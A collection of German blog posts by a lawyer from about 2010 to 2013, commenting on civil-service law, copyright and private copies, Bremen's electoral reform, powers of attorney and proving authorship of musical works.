http://www.piraten-bremerhaven.de [Autor: RA Dr. André Helmke] |
![]() | Politische Betätigung der Beamten | 0 | 29.08.2013 - 11:25:15 | 29.08.2013 - 11:25:15 |
Als ich am 26.08.2013 den Bericht über die Bundestagskandidatin Frau Bettina Hornhues für die CDU in der Nordsee-Zeitung las, erinnerte ich mich an einige ähnliche Erlebnisse während meiner Zeit im öffentlichen Dienst. Gegenüber der NZ gab Frau Hornhues an, aus Verärgerung über einige "Lehrer aus dem linken Spektrum" in die Politik gekommen zu sein. Diese Lehrer sollen an ihrer Schule Unterschriften für eine ihrer politischen Forderungen gesammelt und die Schüler geradezu genötigt haben, da mitzumachen (NZ, 26.08.2013, Seite 11). Als Sie die einzige war, die nicht unterschrieb, sei sie "wie eine Aussätzige behandelt worden" (NZ a.a.O.). Während meiner Zeit im öffentlichen Dienst ist mir Ähnliches passiert. Mehrmals ist mir von Beamten aus dem linken Spektrum ausdrücklich "empfohlen" worden, einer bestimmten Partei beizutreten. Weil ich dies nicht tat, wurde auch ich wie ein Aussätziger von diesen Beamten behandelt. Viele fragen sich sicherlich, warum man denn nicht gegen solche Beamte disziplinarisch vorgegangen ist? In den Bundes- und Landesgesetzen gibt es tatsächlich Regelungen, die u. a. Pflichten der Beamten festlegen. Gemäß § 60 Abs. 2 BBG hat der (Bundes-) Beamte beispielsweise bei der politischen Betätigung diejenige Mäßigung und Zurückhaltung zu wahren, die sich aus seiner Stellung gegenüber der Gesamtheit und aus der Rücksicht auf die Pflichten seines Amtes ergeben. Aus § 60 Abs. 1 Satz 2 BBG ergibt sich ferner, dass der Beamte zur Unparteiischkeit und Gerechtigkeit verpflichtet ist. Aus diesem allgemeinen Verhaltensmaßstab werden folgende konkrete Pflichten abgeleitet: 1. Der Beamte dient dem ganzen Volk, nicht einer Partei (§ 60 Abs. 1 Satz 1 BBG). 2. Der Beamte hat für das Wohl der Allgemeinheit zu sorgen. 3. Der Beamte hat sein Amt uneigennützig auszuüben (§ 61 Abs. 1 Satz 2 BBG). Verletzt nun ein Beamter schuldhaft diese ihm obliegenden Pflichten, so begeht er oder sie ein Dienstvergehen gem. § 77 Satz 1 BBG. Außerhalb des Dienstes ist dieses nur dann ein Dienstvergehen, wenn die Pflichtverletzung nach den Umständen des Einzelfalles in besonderem Maße geeignet ist, das Vertrauen in einer für ihr Amt oder das Ansehen des Beamtentums bedeutsamen Weise zu beeinträchtigen (§ 77 Satz 2 BBG). Es wird also zwischen Pflichtverletzungen innerhalb und außerhalb des Dienstes unterschieden. Außerhalb des Dienstes überwiegen die Grundrechte des Beamten bei weitem. Innerhalb des Dienstes sieht dies schon ganz anders aus und wird über eine Vielzahl von Urteilen näher spezifiziert. Das Bundesverwaltungsgericht sieht politische Betätigung beispielsweise dann als gegeben an, wenn durch das demonstrative Herausstellen einer Meinung zu einem politischen Thema geworben werden soll (BVerwG, Urteil vom 25.01.1990, Az. BVerwG 2 C 50.88 = BVerwGE 84, 292, 295 f.). Das Tragen von Plaketten hat es mit diesem Urteil als eine solche politische Aussage eingestuft. Wird dem Beamten ein Dienstvergehen nachgewiesen, so kommen Disziplinarmaßnahmen gem. § 5 BDG in Betracht, die da sind: - Verweis - Geldbuße - Kürzung der Dienstbezüge - Zurückstufung - und Entfernung aus dem Dienst. Ein Verstoß gegen Beamtenpflichten muss der Dienstvorgesetzte aber beweisen können. Oftmals erfolgen pflichtwidrige Verhaltensweisen bzw. Äußerungen nur in einem 4-Augen-Gespräch. Ein Disziplinarverfahren würde daher eher ins Leere laufen; es sei denn, man findet weitere Zeugen, denen Ähnliches widerfahren ist. Eigentlich müsste ich mit meinen Erfahrungen mit den Beamten aus dem linken Spektrum auch der CDU beitreten und Berufspolitiker werden ![]() entschieden, weil ich mich so besser für die Einzelfallgerechtigkeit einsetzen kann. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Überwachung der Internetnutzung | 0 | 01.08.2013 - 15:32:21 | 01.08.2013 - 15:32:21 |
Nach einem Urteil des Bundesgerichtshofs vom 15.11.2012, Az. I ZR 74/12, genügen Eltern ihrer Aufsichtspflicht über ein normal entwickeltes 13-jähriges Kind, das ihre grundlegenden Gebote und Verbote befolgt, regelmäßig bereits dadurch, dass sie das Kind über die Rechtswidrigkeit einer Teilnahme an Internettauschbörsen belehren und ihm eine Teilnahme daran verbieten. Eine Verpflichtung der Eltern, die Nutzung des Internets durch das Kind zu überwachen, den Computer des Kindes zu überprüfen oder dem Kind den Zugang zum Internet (teilweise) zu versperren, besteht grundsätzlich nicht. Zu derartigen Maßnahmen sind Eltern erst verpflichtet, wenn sie konkrete Anhaltspunkte dafür haben, dass das Kind dem Verbot zuwiderhandelt. Dieses Urteil dürfte meines Erachtens auch analog auf sogenannte Social Networks übertragbar sein. Das Interesse ist bekanntlich groß und immer mehr Jugendliche registrieren sich auf solchen Internet-Plattformen. Viele Eltern übersehen die Risiken, die von solchen Sozialen Netzwerken ausgehen. Nach diesem Urteil des Bundesgerichtshofs sollten die Eltern jedenfalls ihre Kinder über die Risiken, die grundlegenden Gebote und Verbote belehren. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Stellenausschreibung als eine Farce | 0 | 17.04.2012 - 15:52:51 | 10.06.2012 - 17:42:27 |
In der Vergangenheit ist vermehrt zum Ausdruck gekommen, dass viele Stellenausschreibungen im öffentlichen Dienst als eine Farce betrachten. Nicht selten geht es wohl nur noch um den Wunschkandidaten (siehe z. B. NZ, 07.02.2012, S. 9; NZ, 09.06.2012, S. 13). Bei Spitzenpositionen, mithin insbesondere bei politischen Beamten, dürfte es meines Erachtens unbestritten sein, dass der Chef auch Leute seines Vertrauens um sich scharen dürfen muss. Problematisch und äußerst bedenklich ist es jedoch, wenn nicht nur Spitzenpositionen, sondern auch Stellen in den Fachabteilungen ohne Auschreibungen bzw. nach Parteibuch besetzt werden (siehe nur FAZ, 04.02.2012, S. 11). Der politische Durchgriff hat meiner Ansicht nach deutlich zugenommen, verbunden mit dem wachsenden Unmut der unbeförderten Beamten. Denn nach Artikel 33 Abs. 2 des Grundgesetzes müssen Mitarbeiter nach Eignung, Befähigung und fachlicher Leistung ausgewählt werden. Art. 33 II GG gewährt jedem Deutschen ein grundrechtsgleiches Recht auf gleichen Zugang zu jedem öffentlichen Amt nach Eignung, Befähigung und fachlicher Leistung. Daraus folgt der Anspruch eines Beförderungsbewerbers auf ermessens- und beurteilungsfehlerfreie Entscheidung über seine Bewerbung (vgl. nur BVerfGE 39, 334, 354). "Wenn Loyalität vor Sachkunde geht, wenn Positionen nicht mit den Besten besetzt werden, wenn die geronnene Erfahrung des Apparats nichts mehr zählt, muss man sich nicht wundern, wenn das Ergebnis dünner wird, die Gesetze handwerklich schlechter werden, Politik sich am Ende öfter korrigieren muss." (FAZ, 04.02.2012, S. 11) Sitzen nun die "Parteibücher" auf ihren Posten, fragt man sich, was bei einem Machtwechsel passiert. In diesem Falle müssten diese Beamten eigentlich in den Keller oder ins Archiv umgesetzt werden. Das passiert aber eben nicht. Diese Leute blockeren weiterhin gut dotierte Stellen. Und so entstehen dann wieder Konflikte bis hin zum Mobbing: Der Fachabteilungsleiter A1 der Partei A geht in Rente. Prompt wird der Posten mit einem Parteifreund B1 der regierenden Partei B besetzt. Auf dem Stellvertreterposten sitzt weiterhin der A2 der Partei A. Die Konflikte zwischen B1 und A2 kann man sich sicherlich vorstellen ... Wenn dann auch noch in der Fachabteilung der parteilose Beamte C seinen Dienst verrichtet, der mit seinen politischen Ansichten der Partei C sehr nahe steht, haben plötzlich zwei ehemalige Streitgenossen einen gemeinsamen dritten (politischen) Feind ... Für C bleibt dann - oftmals sehr zum Nachteil seiner Kollegen - nur noch ein Dienst nach Vorschrift übrig oder aber sich umsetzen zu lassen. Wenn all dies nichts nützt, hilft nur noch die Kündigung. Den parteilosen Beamten geht es nicht selten wie den Fröschen, von denen der FDP-Vorsitzende Rösler sprach. Rösler hatte zu seinem Amtsantritt bildhaft vor einem schleichenden Entzug der Freiheitsrechte gewarnt. Er erzählte das so: Wenn man einen Frosch in einen Topf mit heißem Wasser setzt, dann springt er sofort heraus. Wenn man ihn aber in kaltes Wasser setzt und es langsam erwärmt, merkt es der Frosch erst, wenn es zu spät ist. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Citoyens sind angesagt | 0 | 11.01.2012 - 11:59:57 | 22.04.2012 - 14:59:18 |
"Der Citoyen (französisch citoyen zu altfranzösisch citeain, einer Ableitungsform von cité, Stadt, dies aus lateinisch civitas, Bürgerschaft, Staat) bezeichnet den Bürger bzw. Staatsbürger, der in der Tradition und im Geist der Aufklärung aktiv und eigenverantwortlich am Gemeinwesen teilnimmt und dieses mitgestaltet. Sein Selbstverständnis basiert historisch auf den Werten der Französischen Revolution von Freiheit, Gleichheit, Brüderlichkeit." (Quelle: Wikipedia, Stand 19.12.2010) Bereits im Jahre 2001 habe ich auf meiner Homepage unter "Interessante Fälle" den Fall "Mobbing oder mehr?" mit diversen Anmerkungen zur direkten Demokratie bzw. zur Notwendigkeit der Abänderung unseres Wahlrechts veröffentlicht. Um so mehr freue ich mich daher, dass sich nun auch der Bundesverfassungsrichter Peter Huber für die Einführung mehr direktdemokratischer Elemente einsetzt. Wenn das aktuelle Wahlrecht nicht mehr ausreicht und Entscheidungen der Politik nicht mehr auf genügend Akzeptanz stoßen, sollte über Korrekturen und Ergänzungen nachgedacht werden (so Huber, FAZ, 20.12.2011, S. 4). Nach Huber a.a.O. ist derzeit leider vermehrt festzustellen, dass die real- und personalblebizitäre Dimension des Wahlrechts verblasst. Das führt nach seinen Erkenntnissen zu Frustrationserlebnissen, die auf Dauer die Substanz des ganzen Systems unterminieren können (so Huber a.a.O.). Huber hat als Thüringer Innenminister selbst eine unglaublich, angestaute Wut bei vielen Bürgern festgestellt. Und glauben Sie mir, Herr Huber, diese Wut gibt es nicht nur bei Thüringer Bürgern. Auch ich habe in der Vergangenheit beobachten können, wie mit Minderheiten umgegangen worden ist, die schlicht ihre verfassungsmäßigen Rechte (wie z. B. ihre Meinungsäußerungsfreiheit) in Anspruch genommen haben. Deshalb ist es meines Erachtens so wichtig, dass der Staatsbürger auf die Politik wirksamen Einfluss nehmen kann. Das geschieht eben vor allem über das Wahlrecht (Abschaffung der 5-%-Klauseln, Direktwahl von (Ober-) Bürgermeistern/innen, Landräten/innen, Ministerpräsidenten/innen, Bundeskanzler/in und Bundespräsident/in sowie vermehrte Volksgesetzgebung mit den Institutionen Bürgerbegehren und Bürgerentscheid, Verbote politischer Betätigung für bestimmte Berufsgruppen). Nur so kann den Abschottungstendenzen im Parteienstaat wirksam entgegengewirkt werden. Schließlich geht es auch darum, unsere repräsentative Demokratie zu stabilisieren. Selbstverständlich gilt dies auch für die Europäische Union. Insoweit kann ich dem Vizepräsidenten des Bundesverfassungsgerichts, Herrn Ferdinand Kirchhof, nur zustimmen, wenn er in der FAZ vom 06.02.2012, S. 13, wie folgt ausführt: "Wir brauchen endlich direkte Demokratie in der EU, weil sie sich weit von ihrer Bevölkerung und ihren Heimatregionen entfernt hat." http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Vorsorgevollmacht sinnvoll? | 0 | 21.02.2011 - 16:40:15 | 22.04.2012 - 14:57:43 |
Jeder sollte sich einmal die Frage stellen, wer im Ernstfall Entscheidungen für ihn treffen soll, wenn er selbst vorübergehend oder auf Dauer nicht mehr dazu in der Lage ist? Niemand kann sicher davor sein, vielleicht schon morgen durch einen schweren Unfall dauerhaft das Bewusstsein zu verlieren und darauf angewiesen zu sein, dass ein anderer für ihn Entscheidungen fällt. Falls hierfür keine Vorsorge getroffen wurde, wird das Betreuungsgericht im Bedarfsfall eine Betreuerin oder einen Betreuer zur gesetzlichen Vertretung bestellen. Das Gericht wird hierbei zwar prüfen, ob die Betreuungsperson vorrangig aus dem Kreis der Angehörigen ausgewählt werden kann. Ist dies jedoch nicht möglich, können auch familienfremde Personen zum Betreuer bestellt werden. Um dies zu verhindern, kann jedermann vorsorgen, indem er schriftlich Wünsche für die Auswahl eines möglichen Betreuers im Rahmen einer sogenannten Vorsorgevollmacht formuliert. Liegt eine wirksame und ausreichende Vollmacht vor, darf grundsätzlich in ihrem Regelungsbereich ein Betreuer nicht bestellt werden. Lediglich ausnahmsweise darf unter strengen Voraussetzungen gem. § 1897 Abs. 4 Satz 1 BGB bei der Auswahl eines Betreuers vom Vorschlag des volljährigen Betreuten abgewichen werden (so BGH, Beschluss vom 10.11.2010, Az. XII ZB 355/10 im Anschluss an den Senatsbeschluss vom 15. September 2010 - XII ZB 166/10 - FamRZ 2010, 1897 ff.): "Der Wille des Betreuten kann aber dann unberücksichtigt bleiben, wenn die Bestellung der vorgeschlagenen Person dem Wohl des Betreuten zuwiderläuft [...]. Dies setzt voraus, dass sich aufgrund einer umfassenden Abwägung aller relevanten Umstände Gründe von erheblichem Gewicht ergeben, die gegen die Bestellung der vorgeschlagenen Person sprechen. Es muss die konkrete Gefahr bestehen, dass der Vorgeschlagene die Betreuung des Betroffenen nicht zu dessen Wohl führen kann oder will." Bei der Abfassung einer Vollmacht sollten Sie meines Erachtens auch den Rat eines Rechtsanwaltes oder einer Rechtsanwältin einholen. Dies ist besonders dann zu empfehlen, wenn Einzelheiten genauer geregelt werden sollen, Sie mehrere Bevollmächtigte einsetzen wollen, Sie auch eingehende Handlungsanweisungen an den oder die Bevollmächtigten festlegen wollen oder zugleich in die Vorsorgevollmacht auch eine Patientenverfügung mit aufgenommen werden soll. In einer Patientenverfügung regeln Sie Ihre Vorstellungen für eine medizinische Behandlung, insbesondere in der letzten Phase Ihres Lebens. Eine notarielle Beurkundung ist nach meiner Auffassung nur dann notwendig, wenn Ihre Vollmacht auch zu Grundstücksverfügungen berechtigen soll. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Neues Wahlrecht im Lande Bremen | 2 | 19.12.2010 - 12:15:21 | 19.04.2012 - 16:16:06 |
Bei der letzten Wahl zur Stadtverordnetenversammlung in Bremerhaven und der Wahl zur Bürgerschaft am 22. Mai 2011 konnte endlich das neue Wahlrecht im Lande Bremen angewendet werden. Als Reaktion auf das im Jahr 2006 erfolgreich durchgeführte Volks- begehren der Initiatoren "Mehr Demokratie beim Wählen – Mehr Einfluss für Bürgerinnen und Bürger“ wurde das Bremische Wahl- gesetz durch Gesetz vom 19. Dezember 2006 (Brem. GBl., S. 539) geändert. Der Gesetzentwurf zielte darauf ab, den Wählern mehr Einfluss bei der Auswahl der Abgeordneten für die Bremische Bürgerschaft sowie bei der Auswahl der Mitglieder der Stadtverordnetenversammlung in Bremerhaven zu geben. Die Wähler sollten die Möglichkeit bekommen, nicht nur starre Parteilisten zu wählen, sondern einzelne Personen auf diesen Listen auszuwählen. Dadurch sollte die in den letzten Jahrzehnten gewachsene Entfremdung zwischen den Volksver- tretungsorgangen und den Bürgern verringert werden. Mit diesem neuen Wahlrecht können die Bürger/innen mehr Einfluss auf die Zusammensetzung der Bürgerschaft und der Stadtverord- netenversammlung nehmen. Dabei kommen nun auch im Lande Bremen die in Süddeutschland längst bekannten Instrumente des Kumulierens und Panaschierens zum Einsatz. Hiermit gratuliere ich dem Verein "Mehr Demokratie“, der das neue Wahlrechts, das "Mehr Demokratie“ durch ein Volksbegehren auf den Weg gebracht hat, ganz außerordentlich. Ich habe mich darüber sehr gefreut! Die Vorschrift des § 6 Abs. 1 BremWG sieht nun vor, dass jeder Wahlberechtigte fünf Stimmen hat. Wähler können eine oder mehrere Stimmen für einen oder mehrere Bewerber abgeben (§ 6 Abs. 2 BremWG). Sie können dabei auch Bewerber unterschiedlicher Listen unterstützen (§ 6 Abs. 3 BremWG). Neben die Personenwahl tritt die Möglichkeit der Listenwahl (§ 6 Abs. 4 Satz 1 BremWG). Der Wähler kann – wie in § 6 Abs. 4 Satz 2 BremWG bestimmt ist - eine oder mehrere seiner Stimmen an Listen vergeben, diese Stimmen wiederum bei einer einzelnen Liste anhäufen (kumulieren) oder an mehrere Listen verteilen (panaschieren). Mit dem neuen Wahlrecht haben also die Bürger/-innen im Lande Bremen am 22. Mai 2011 die Möglichkeit, mehr Einfluss auf die Wahl der Kandidaten zu nehmen, die bislang ausschließlich über die Listen der Parteien nominiert wurden. Allerdings haben sich (meines Erachtens leider) die Politiker bzw. Initiatoren für dieses neue Wahlrecht auf eine begrenzte Einfluss- nahme der Bürger geeinigt. So verstößt es nach einem Urteil des Bremischen Staatsgerichtshofs nicht gegen die Bremische Landesverfassung, wenn nach § 7 Abs. 6 BremWG bei der Verteilung der Mandate innerhalb eines Wahlvorschlags zunächst die nach Listenwahl zu vergebenden Sitze und erst anschließend die Sitze für die nicht bereits nach der Listenwahl berücksichtigten Bewerber mit den höchsten Personenstimmenzahlen zugeteilt werden (BremStGH, Urteil vom 08.04.2010, Az. St 3/09). Welche Bewerber letztlich die Mandate erhalten, bestimmt schließ- lich die Vorschrift des § 7 Abs. 6 BremWG: Zunächst werden auf die auf einen Wahlvorschlag nach Listenwahl zu vergebenden Sitze den Bewerbern in der Reihenfolge zugeteilt, in der sie im Wahlvorschlag benannt sind (§ 7 Abs. 6 Satz 1 BremWG), sogenannte Listenbank. Erst danach werden die Mandate unter den verbleibenden Bewerbern verteilt, die nach den Personenstimmen zu vergeben sind, und zwar in der Reihenfolge des Personenstimmenergebnisses der einzelnen Bewerber (§ 7 Abs. 6 Satz 2 BremWG), sogenannte Personenbank. Ich habe hier den Eindruck, dass der Gesetzgeber mit dieser Klausel den Berufspolitikern einen "sicheren" Listenplatz verschaffen wollte. Es besteht also aus Volkssicht noch ein Nachbesserungsbedarf für den Gesetzgeber. Hierbei ist aber rechtlich zu berücksichtigen, dass der Gesetzge- ber bei seiner Entscheidung für ein bestimmtes Wahlmodell grundsätzlich frei ist. Er ist auch befugt, eine Kombination von Wahlsystemen vorzunehmen (vgl. BremStGHE 5, 94, 97; BVerfGE 121, 266, 296). Es besteht insoweit ein breiter Entscheidungsspielraum, den das Grundgesetz und die Landesverfassung dem Gesetzgeber bei der Gestaltung des Wahlrechts einräumen. In jedem Falle freue ich mich dennoch über den Erfolg des Vereins "Mehr Demokratie“. Die Demokratie im Lande Bremen wird unmittelbarer: auch nicht so bekannte Politiker haben nun die Chance, in die Volksvertretungsorgane im Lande Bremen einzuziehen, insbesondere indem die Bürger/-innen - bitte zahlreich - von der Möglichkeit des Komulierens und Panaschierens Gebrauch machen. Im Übrigen ist es das erste Mal in der Geschichte Deutschlands, dass den Wählerinnen und Wählern bei einer Landtagswahl so viel Einfluss ermöglicht wird. Bremen sollte ein Vorbild für andere Länderparlamente sein! Während darüber hinaus für die Bürgerschaft die Fünf-Prozent-Hürde bestehen bleibt, fällt diese Schranke bei der Wahl zur Stadtverordnetenversammlung in Bremerhaven weiterhin weg. Auch unter Berücksichtigung der Wahl der haupt- und ehrenamtlichen Magistratsmitglieder durch die Stadtverordnetenversammlung der Stadt Bremerhaven ist eine Beeinträchtigung der Funktionsfähigkeit der Stadtverordnetenversammlung und des Magistrats ohne Wiedereinführung der Fünf-Prozent-Sperrklausel für die Wahl zur Stadtverordnetenversammlung nicht mit der erforderlichen Wahrscheinlichkeit zu erwarten (so der Bremische Staatsgerichtshof in seinem Urteil vom 14. 5.2009, Az. St 2/08). Zu Recht wies der Bremische Staatsgerichtshof indiesem Urteil auch daraufhin hin, dass eine Fünf-Prozent-Sperrklausel erheblich in die Wahlrechtsgleichheit und Chancengleichheit der Wahlbewerber eingreift. Nur eine mit einiger Wahrscheinlichkeit zu erwartende erhebliche Beeinträchtigung der Funktionsfähigkeit der kommunalen Vertretungsorgane kann eine solche Klausel rechtfertigen (BremStGH, Urteil vom 14. 5. 2009, Az. St 2/08, im Anschluss an BVerfGE 120, 82 = NVwZ 2008, 407). http://www.bremen-nds.mehr-demokratie.de [Autor: RA Dr. André Helmke] |
![]() | Urheberrecht und Privatkopie | 0 | 19.04.2012 - 16:13:49 | 19.04.2012 - 16:13:49 |
Darf man in jedem Falle eine Privatkopie von einem urheberrechtlich geschützten Werk machen? Der Gesetzgeber hat mit dem Urheberrechtsgesetz (UrhG) geregelt, wonach der Urheber selbst bestimmt, wer sein Werk veröffentlichen, vervielfältigen, verbreiten oder bearbeiten darf. Das Urheberrecht schützt die Urheber von kreativen Werken wie z. B. Texte, Fotos, Filme und Musik. Der Schutz des Urheberrechts besteht unabhängig von einer Registrierung oder anderen Formalitäten für jeden, soweit sein Werk gem. § 2 Abs. 2 UrhG ausreichende Kreativität aufweist. So ist ein einzelner Akkord nicht geschützt, weil ansonsten eine weitere originäre Komposition von Musikwerken ausgeschlossen wäre. Wenn mehrere Personen zusammen kreativ tätig sind, werden sie zu Miturhebern eines Werkes. Alle Miturheber müssen dann gem. § 8 Abs. 2 UrhG einer Verwendung ihres gemeinsamen Werkes zustimmen. Jedoch darf im Interesse der Allgemeinheit ein Werk teilweise genutzt werden, ohne dass der Urheber zustimmen muss. So kann ein Nutzer gem. § 53 Abs. 1 UrhG beispielsweise unter bestimmten Voraussetzungen im Rahmen der so genannten Privatkopierschranke ein Werk zu privaten Zwecken kopieren. Allerdings ist hierbei die so genannte Kopierschutzschranke gem. §§ 95a Abs. 1, 95 b UrhG zu beachten. Neuerdings werden insbesondere Musik und Filme, aber auch elektronische Bücher (E-Books) häufig nur noch mit Kopierschutz angeboten. Diese sollen verhindern, dass die Inhalte nicht ohne Zustimmung des Urhebers weiterverbreitet werden. In solchen Fällen ist es dann auch untersagt, sich eine private Kopie anzuanfertigen, weil der Kopierschutz ohne Zustimmung des Rechteinhabers nicht umgangen werden darf. Man sollte sich mithin Kopien nur von solchen Dingen machen, bei denen man genau weiß, woher sie stammen und sich sicher ist, dass diese nicht kopiergeschützt sind (ausgenommen hiervon sind Softwareprogramme; sie unterliegen einem besonderen Urheberschutz). Eine Weitergabe an Unbekannte ist ohnehin verboten. Nicht erlaubt ist ferner, das fremde Werk (z. B. Video oder Musik) öffentlich vorzuführen oder zu verbreiten, zum Beispiel auf einer Videoplattform oder in einem Sozialen Netzwerk. Auch das Herunterladen von Liedern aus einer Tauschbörse ist in der Regel problematisch, da überwiegend Musikstücke angeboten werden, die von den Urhebern nicht zur kostenlosen Verbreitung freigegeben sind. Jedenfalls darf eine "offensichtlich rechtswidrige Quelle" für die Kopie nicht genutzt werden. Wird z. B. ein Hits aus den aktuellen Charts kostenlos angeboten, dürfte dies für jeden bedenklich sein. Wer sich daran nicht hält, muss mit zivilrechtlichen Schadenersatzforderungen der Urheber oder gar mit einer Strafanzeige rechnen. Über die IP-Adresse des Rechners lässt sich feststellen, wann und wie der Inhaber eines Online-Anschlusses das Internet genutzt hat. Wird man aufgefordert, eine Unterlassungserklärung zu unterschreiben, einige Tausend Euro an Schadenersatz zu zahlen und zudem die Anwaltskosten von über 1.000,-- EUR zu übernehmen, sollte man sich unverzüglich - vor Abgabe der Unterlassungserklärung - an einen Rechtsanwalt wenden. Wie bereits ausgeführt worden ist, kann eine Urheberrechtsverletzung gem. § 106 ff. UrhG auch strafbar sein. Die Tat wird vom Gesetz mit Freiheitsstrafe bis zu drei Jahren oder mit Geldstrafe geahndet; handelt der Täter gewerbsmäßig, sogar mit maximal fünf Jahren. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Beweis der Urheberschaft | 0 | 19.04.2012 - 12:32:29 | 19.04.2012 - 12:32:29 |
Erst kürzlich habe ich an einer Veranstaltung teilgenommen, bei der sich gezeigt hat, dass sich auch heute noch – und zu recht - viele Komponisten mit dem Problem des Schutzes ihrer geistigen Schöpfung befassen. Das Risiko für einen Musiker beginnt bereits nach der Aufnahme seines Werkes bei der Suche nach einem Plattenvertrag. Hier stellt sich nämlich die Frage, inwieweit die fertigen Demo-Bänder ohne Risiko verschickt werden können? Allgemein besteht regelmäßig die Gefahr der missbräuchlichen Verwertung eines Werks durch einen Dritten, also der klassische Ideenklau. Und im Falle der missbräuchlichen Nutzung und Verwertung des Werkes muss der Urheber seine Urheberschaft beweisen. Trotz des Schutzes durch das Urheberrechtsgesetz gestaltet sich der Nachweis der Urheberschaft häufig sehr schwierig. Im Falle einer Geltendmachung von Ansprüchen steht dann nicht selten Aussage gegen Aussage. Der Urheber kann nur dann seine Rechte effektiv durchsetzen, wenn ihm der Beweis der Urheberschaft gelingt. Die Meldung einer Komposition bei der GEMA durch Ausfüllen des grünen GEMA-Anmeldebogens für Originalwerke reicht in der Regel bezüglich des Nachweises der Urheberschaft leider nicht aus. Denn hierbei werden in der Regel weder Tonträger noch Notationen eingereicht und archiviert. Im Streitfall kann daher die Urheberschaft an einer Komposition mit Hilfe der GEMA in der Regel nicht bewiesen werden. Es sollte daher meines Erachtens auf den sogenannten Prioritätsnachweis in Form einer Hinterlegung zurückgegriffen werden. Der Urheber eines Werks hinterlegt eine Kopie seiner Komposition auf einem Tonträger oder in Form von Noten bei einem Notar oder einem Rechtsanwalt. Der Notar oder der Rechtsanwalt vermerkt genau, zu welchem Zeitpunkt der Urheber mit welchen Kompositionen zur Hinterlegung erschienen ist. Veröffentlicht jemand die Komposition des Urhebers unberechtigt unter eigenem Namen, so kann der Komponist nun nachweisen, dass er die Komposition bereits zu einem früheren Zeitpunkt hinterlegt hat. Die Kosten für die Hinterlegung richten sich bei Notaren in der Regel nach deren Gebührenordnung und ist daher abhängig vom Gegenstandswert der Kompositionen. Da dieser sich oft nur sehr schwer bestimmen lässt, können hier sehr unterschiedliche Kosten anfallen. Bei Rechtsanwälten werden die Hinterlegungen meist zu einem Pauschalpreis pro Tonträger, zum Teil mit einer sich jährlich wiederholenden Gebühr, vorgenommen. Die Hinterlegung bei einem Rechtsanwalt oder Notar schließt nachträgliche Veränderungsmöglichkeiten aus, da beide Berufe als Organe der Rechtspflege ein gesteigertes Vertrauen genießen und somit eine höhere Beweissicherheit vor Gericht bieten. Die oftmals vorgeschlagene Alternative in Form des Versendens eines verschlossenen an sich selbst adressierten Umschlags, der das Werk enthält, hat aufgrund der vielfältigen Manipulationsmöglichkeiten keine ausreichende Beweiskraft vor Gericht. Deshalb sollten Sie die Hinterlegung immer zur Sicherung Ihrer Urheberrechte wählen. Wer allerdings eine Eigenkomposition bereits veröffentlicht hat, sollte in der Regel eigentlich beweisen können, dass der Zeitpunkt der eigenen Werkschöpfung spätestens mit der Veröffentlichung stattfand. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Beurteilungsquotenrichtlinien | 0 | 21.02.2011 - 14:54:20 | 19.04.2012 - 11:41:58 |
Die Gemeinde G hat es satt, ständig wegen beamtenrechtlicher Konkurrentenstreitigkeiten vor Gericht ziehen zu müssen. Sie überlegt sich daher, wie man solche Rechtstreitigkeiten möglichst verhindern oder zumindest minimiern kann. Nach langen Diskussionen entdeckt sie sogenannte Beurteilungsquotenrichtlinien. Diese beinhalten Richtwerte für die Notenvergabe bei dienstlichen Beurteilungen. Voraussetzung für solche Quoten ist eine hinreichend große und hinreichend homogene Vergleichsgruppe. So hat das Bundesverwaltungsgericht in einem Urteil vom 24.11.2005 (BVerwG, Urteil vom 24.11.2005 —2 C 34.04 = DÖV 2006, 345 = IÖD 2006, 112) entschieden, dass die Gruppe der Sachbearbeiter des gehobenen Dienstes einer Fachabteilung einer Behörde dem Homogenitätserfordernis genügt, wenn die Beamten trotz unterschiedlicher Statusämter im Wesentlichen gleiche Dienstaufgaben wahrnehmen. In Anlehnung an dieses Urteil legt die Gemeinde G daher die jeweiligen Besoldungsgruppen als Vergleichsgruppe fest. So gehören beispielsweise alle Bediensteten der Besoldungsgruppe A 9 einer Vergleichsgruppe an, egal wo sie in der Gemeinde G arbeiten und welche Aufgaben sie erledigen. A, der bei der Behörde B der Gemeinde G arbeitet, hat bei seiner letzten Beurteilung den Eindruck bekommen, dass er im Verhältnis zu seinen Kollegen in seiner Abteilung und auch in seiner Behörde doch relativ gut beurteilt worden ist. Er sieht daher gute Chancen für ein Beförderungsamt und bewirbt sich daher auf eine der fünf ausgeschriebenen Stellen A 10. Es dauert nicht lange bis er eine Ablehnung des Personalamtes bekommt mit dem Hinweis, dass die Auswahl auf eine andere Person gefallen ist. A ist sehr enttäuscht und lässt daher die Auswahl gerichtlich überprüfen. Als sein Rechtsanwalt Akteneinsicht vom Gericht gewährt bekommt, stellt sich folgendes Bild dar: Rangliste der Bediensteten der Gemeinde G: Platz, Name, Beurteilungspunkte: 1. Herr Testname01 der Behörde C, 89 2. Frau Testname02 der Behörde C, 88 3. Frau Testname03 der Behörde C, 86 4. Herr Testname04 der Behörde D, 85 5. Herr Testname05 der Behörde D, 84 6. Herr A der Behörde B, 65 7. Frau Testname07 der Behörde B, 64 8. Frau Testname08 der Behörde B, 63 9. Herr Testname09 der Behörde D, 62 10. Herr Testname10 der Behörde D, 61 Aus dieser Rangliste wird erkennbar, dass der A mit seinen Beurteilungspunkten keine Chance gegenüber den Kollegen/innen auf Platz 1 bis 5 hat. Selbst wenn A gegen seine Beurteilung jetzt noch klagen würde, so ist es erfahrungsgemäß kaum möglich, so viele Punkte gegenüber Herrn Testname05 aufzuholen. Die Verwaltungsgerichte entscheiden in beamtenrechtlichen Konkurrentenklagen regelmäßig nach der Leistung in der letzten Beurteilung. Hat sich die Behörde B für die Damen und Herren auf Platz 1 bis 5 entschieden, so wird das Verwaltungsgericht diese Auswahl auch halten. Dies bedeutet für die Praxis zwingend: Jeder Bedienstete sollte kritisch seinen Leistungsstand regelmäßig erfragen und Angaben über seine Leistung im Verhältnis zu anderen seiner Vergleichsgruppe einfordern. Mit der Einführung dieser Quotenregelungen besteht meines Erachtens die Gefahr, dass sich der Dienstherr in sogenannten Konferenzen abspricht und über eine Deckelung der Beurteilungen sich schon für die favorisierten Kandidaten entscheidet. 